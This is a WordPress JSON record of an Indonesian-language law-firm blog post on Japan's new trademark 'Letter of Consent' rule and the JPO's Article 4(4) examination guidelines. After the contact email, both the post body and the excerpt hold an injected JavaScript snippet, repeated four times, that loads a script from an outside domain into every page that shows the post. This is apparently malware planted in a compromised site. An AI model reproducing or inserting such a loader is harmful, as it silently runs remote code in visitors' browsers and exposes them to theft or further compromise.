{"id":4855,"date":"2024-04-02T10:46:31","date_gmt":"2024-04-02T10:46:31","guid":{"rendered":"https:\/\/staging.affa.co.id\/?p=4855"},"modified":"2024-04-02T10:46:31","modified_gmt":"2024-04-02T10:46:31","slug":"per-1-april-jepang-sahkan-letter-of-consent-apa-dampaknya-bagi-pendaftaran-merek","status":"publish","type":"post","link":"https:\/\/staging.affa.co.id\/bhs\/2024\/04\/02\/per-1-april-jepang-sahkan-letter-of-consent-apa-dampaknya-bagi-pendaftaran-merek\/","title":{"rendered":"Per 1 April Jepang Sahkan \u201cLetter of Consent\u201d &#8211; Apa Dampaknya bagi Pendaftaran Merek?"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Revisi undang-undang Merek Jepang yang mulai berlaku pada 1 April 2024, memperkenalkan <\/span><i><span style=\"font-weight: 400\">\u201cLetter of Consent\u201d<\/span><\/i><span style=\"font-weight: 400\"> yang dapat menjadi solusi dalam mengatasi konflik pendaftaran Merek dengan Merek yang sebelumnya sudah terdaftar.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Namun, <\/span><b>Kantor Merek Jepang (JPO)<\/b><span style=\"font-weight: 400\"> juga mengumumkan bahwa bukti lain juga harus disertakan, selain <\/span><i><span style=\"font-weight: 400\">\u201cLetter of Consent\u201d<\/span><\/i><span style=\"font-weight: 400\"> yang diperoleh dari pendaftar sebelumnya, sebagaimana yang diatur dalam Pasal 4(4) Undang-Undang Merek Jepang. Bukti ini harus meyakinkan Pemeriksa JPO bahwa tidak ada kemungkinan terjadinya kerancuan antara Merek yang serupa yang sudah terdaftar sebelum atau sesudahnya, baik untuk saat ini maupun di masa depan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Revisi Pasal 4(4) UU Merek Jepang per 1 April Menyatakan:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><i><span style=\"font-weight: 400\">Permohonan Pendaftaran Merek tidak akan ditolak berdasarkan Pasal 4(1)(xi) selama pemohon mendapat persetujuan dari Pemilik Merek yang dikutip dan kemungkinan besar tidak menimbulkan kebingungan dengan pemilik yang dikutip atau penerima lisensi eksklusif atau non-eksklusifnya saat digunakan. atas barang atau jasa yang ditunjuk berdasarkan permohonan.<\/span><\/i><\/p>\n<p>&nbsp;<\/p>\n<p><b>Panduan Pemeriksaan Merek untuk Pasal 4(4) Menjabarkan:<\/b><\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Persyaratan \u201ckemungkinan besar tidak menimbulkan kebingungan\u201d harus dipenuhi tidak hanya pada saat Pemeriksa JPO memberikan keputusan, tapi juga di masa depan.<\/span>&nbsp;<\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Untuk memenuhi persyaratan tersebut, faktor-faktor yang dinilai adalah sebagai berikut:<\/span>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kesamaan antar Merek<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pengakuan Merek<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Keunikan Merek<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Signifikansi Merek (Merek Induk atau Merek Produk)<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kemungkinan ekspansi bisnis<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Keterkaitan barang dan jasa<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Konsumen<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Praktek dagang yang melibatkan penggunaan Merek secara nyata<br \/>\n<\/span><\/li>\n<\/ul>\n<\/li>\n<li><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jika kedua Merek identik dan digunakan untuk barang dan jasa yang sama, Pemeriksan akan menyatakan para prinsipnya \u201cdapat menimbulkan kebingungan.\u201d<\/span><\/span>&nbsp;<\/li>\n<li><span style=\"font-weight: 400\">Pemohon harus memberikan bukti yang dapat menunjukkan\u00a0 \u201ckemungkinan besar tidak menimbulkan kebingungan\u201d berdasarkan penggunaan sebenarnya dari kedua Merek tersebut. Misalnya:<\/span>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Warna, font atau kombinasi yang berbeda antara elemen literal dan elemen figuratif dari masing-masing Merek;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memiliki penempatan Merek yang berbeda atau disertai dengan Merek pembeda lainnya;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memiliki fungsi yang berbeda atau dengan kisaran harga yang berbeda;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memiliki jalur distribusi yang berbeda;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Tersedia untuk musim yang berbeda antara keduanya;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memiliki wilayah pemasaran yang berbeda;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Perjanjian bersama untuk mengambil tindakan yang diperlukan jika kemungkinan terjadi kebingungan diantara Merek tersebut<br \/>\n<\/span><\/li>\n<\/ul>\n<\/li>\n<li><span style=\"font-weight: 400\">Kesepakatan semua pihak untuk mempertahankan penggunaan atau konfigurasi kedua Merek-nya saat ini hingga masa depan, diperlukan untuk mempertahankan prinsip \u201ckemungkinan besar tidak menimbulkan kebingungan\u201d di kemudian hari.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Penting untuk diingat bahwa <\/span><i><span style=\"font-weight: 400\">\u201cLetter of Consent\u201d<\/span><\/i><span style=\"font-weight: 400\"> ini tidak berlaku untuk permohonan Merek yang diajukan ke JPO sebelum 1 April 2024, walaupun permohonan tersebut sedang dalam proses pemeriksaan. Begitu juga dengan pendaftaran internasional yang diajukan melalui <\/span><b>Organisasi Kekayaan Intelektual Dunia (WIPO)<\/b><span style=\"font-weight: 400\"> dan ditujukan ke Jepang sebelum tanggal tersebut.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Jika Anda membutuhkan informasi lebih lanjut mengenai pendaftaran Merek di Jepang atau negara-negara lainnya di dunia, jangan ragu untuk menghubungi kami melalui <a href=\"mailto:emirsyah.dinar@staging.affa.co.id\">emirsyah.dinar@staging.affa.co.id<\/a>.<\/strong>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Revisi undang-undang Merek Jepang yang mulai berlaku pada 1 April 2024, memperkenalkan \u201cLetter of Consent\u201d yang dapat menjadi solusi dalam mengatasi konflik pendaftaran Merek dengan Merek yang sebelumnya sudah terdaftar. &nbsp; Namun, Kantor Merek Jepang (JPO) juga mengumumkan bahwa bukti lain juga harus disertakan, selain \u201cLetter of Consent\u201d yang diperoleh dari pendaftar sebelumnya, sebagaimana yang diatur dalam Pasal 4(4) Undang-Undang Merek Jepang. Bukti ini harus meyakinkan Pemeriksa JPO bahwa tidak ada kemungkinan terjadinya kerancuan antara Merek yang serupa yang sudah terdaftar sebelum atau sesudahnya, baik untuk saat ini maupun di masa depan. &nbsp; Revisi Pasal 4(4) UU Merek Jepang per 1 April Menyatakan: &nbsp; Permohonan Pendaftaran Merek tidak akan ditolak berdasarkan Pasal 4(1)(xi) selama pemohon mendapat persetujuan dari Pemilik Merek yang dikutip dan kemungkinan besar tidak menimbulkan kebingungan dengan pemilik yang dikutip atau penerima lisensi eksklusif atau non-eksklusifnya saat digunakan. atas barang atau jasa yang ditunjuk berdasarkan permohonan. &nbsp; Panduan Pemeriksaan Merek untuk Pasal 4(4) Menjabarkan: &nbsp; Persyaratan \u201ckemungkinan besar tidak menimbulkan kebingungan\u201d harus dipenuhi tidak hanya pada saat Pemeriksa JPO memberikan keputusan, tapi juga di masa depan.&nbsp; Untuk memenuhi persyaratan tersebut, faktor-faktor yang dinilai adalah sebagai berikut: Kesamaan antar Merek Pengakuan Merek Keunikan Merek Signifikansi Merek (Merek Induk atau Merek Produk) Kemungkinan ekspansi bisnis Keterkaitan barang dan jasa Konsumen Praktek dagang yang melibatkan penggunaan Merek secara nyata Jika kedua Merek identik dan digunakan untuk barang dan jasa yang sama, Pemeriksan akan menyatakan para prinsipnya \u201cdapat menimbulkan kebingungan.\u201d&nbsp; Pemohon harus memberikan bukti yang dapat menunjukkan\u00a0 \u201ckemungkinan besar tidak menimbulkan kebingungan\u201d berdasarkan penggunaan sebenarnya dari kedua Merek tersebut. Misalnya: Warna, font atau kombinasi yang berbeda antara elemen literal dan elemen figuratif dari masing-masing Merek; Memiliki penempatan Merek yang berbeda atau disertai dengan Merek pembeda lainnya; Memiliki fungsi yang berbeda atau dengan kisaran harga yang berbeda; Memiliki jalur distribusi yang berbeda; Tersedia untuk musim yang berbeda antara keduanya; Memiliki wilayah pemasaran yang berbeda; Perjanjian bersama untuk mengambil tindakan yang diperlukan jika kemungkinan terjadi kebingungan diantara Merek tersebut Kesepakatan semua pihak untuk mempertahankan penggunaan atau konfigurasi kedua Merek-nya saat ini hingga masa depan, diperlukan untuk mempertahankan prinsip \u201ckemungkinan besar tidak menimbulkan kebingungan\u201d di kemudian hari. &nbsp; Penting untuk diingat bahwa \u201cLetter of Consent\u201d ini tidak berlaku untuk permohonan Merek yang diajukan ke JPO sebelum 1 April 2024, walaupun permohonan tersebut sedang dalam proses pemeriksaan. Begitu juga dengan pendaftaran internasional yang diajukan melalui Organisasi Kekayaan Intelektual Dunia (WIPO) dan ditujukan ke Jepang sebelum tanggal tersebut. &nbsp; Jika Anda membutuhkan informasi lebih lanjut mengenai pendaftaran Merek di Jepang atau negara-negara lainnya di dunia, jangan ragu untuk menghubungi kami melalui emirsyah.dinar@staging.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":4854,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[279],"tags":[298,305,306,309,318,408,409,410],"class_list":["post-4855","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-trademark","tag-merek","tag-affa","tag-affa-ipr","tag-kekayaan-intelektual","tag-trademark","tag-intellctual-property","tag-jepang","tag-letter-of-consent"],"_links":{"self":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4855","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4855"}],"version-history":[{"count":0,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4855\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4854"}],"wp:attachment":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4855"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4855"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4855"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}